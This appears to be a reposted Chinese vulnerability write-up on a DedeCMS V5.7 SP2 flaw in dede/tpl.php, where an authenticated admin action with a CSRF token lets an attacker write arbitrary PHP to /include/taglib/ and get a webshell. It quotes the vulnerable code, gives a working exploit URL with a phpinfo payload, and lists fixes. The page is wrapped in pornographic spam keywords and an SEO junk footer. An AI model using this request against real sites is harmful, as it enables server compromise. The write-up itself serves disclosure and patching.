国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > CMS > 織夢DEDE > 正文

dedecms V5.7 SP2 友情鏈接CSRF+任意文件寫入漏洞

2024-08-30 19:08:09
字體:
來源:轉載
供稿:網友

DedeCMS V5.7 SP2版本中tpl.php存在代碼執行漏洞,攻擊者可利用該漏洞在增加新的標簽中上傳木馬,獲取webshell。筆者是2018年2月28日在官網下載的DedeCMS V5.7 SP2版本程序,截至發稿,漏洞依然存在。

漏洞詳情

織夢默認的后臺地址是/dede/,當然也可以被更改,到時候根據網站具體情況替換默認后臺地址即可。

dede/tpl.php中第251行到281行

 

csrf_check();

 

if(!preg_match("#^[a-z0-9_-]{1,}/.lib/.php$#i", $filename))

 

{

 

    ShowMsg('文件名不合法,不允許進行操作!', '-1');

 

    exit();

 

}

 

require_once(DEDEINC.'/oxwindow.class.php');

 

$tagname = preg_replace("#/.lib/.php$#i", "", $filename);

 

$content = stripslashes($content);

 

$truefile = DEDEINC.'/taglib/'.$filename;

 

$fp = fopen($truefile, 'w');

 

fwrite($fp, $content);

 

fclose($fp);

 

1.由于dedecms全局變量注冊的特性,所以這里的content變量和filename變量可控。

2.可以看到將content直接寫入到文件中導致可以getshell。但是這里的文件名經過正則表達式,所以必須要.lib.php結尾。

注意: 這里還有一個csrf_check()函數,即請求中必須要帶token參數。

漏洞利用

1.首先獲取token 訪問 域名 + /dede/tpl.php?action=upload。在頁面源代碼中獲取到token值 

dedecms V5.7 SP2 友情鏈接CSRF+任意文件寫入漏洞

然后訪問 :

域名 + /dede/tpl.php?filename=moonsec.lib.php&action=savetagfile&content=%3C?php%20phpinfo();?%3E&token=[你的token值

dedecms V5.7 SP2 友情鏈接CSRF+任意文件寫入漏洞

shell:域名 + /include/taglib/moonsec.lib.php

漏洞修復

1.禁止/include/taglib/此處寫入文件。

2.過濾惡意標簽

3.刪除dede/tpl.php 文件


發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 新兴县| 西乌| 新竹市| 建始县| 北流市| 尼勒克县| 舟曲县| 和静县| 类乌齐县| 额尔古纳市| 汉源县| 横峰县| 凭祥市| 高陵县| 高台县| 太原市| 大城县| 当阳市| 绍兴市| 唐山市| 宜宾县| 仁化县| 中西区| 西城区| 芜湖县| 五华县| 城步| 凌海市| 青浦区| 凤台县| 抚顺县| 饶河县| 垣曲县| 两当县| 彭州市| 凌源市| 河北省| 舒兰市| 舒兰市| 巴马| 凉城县|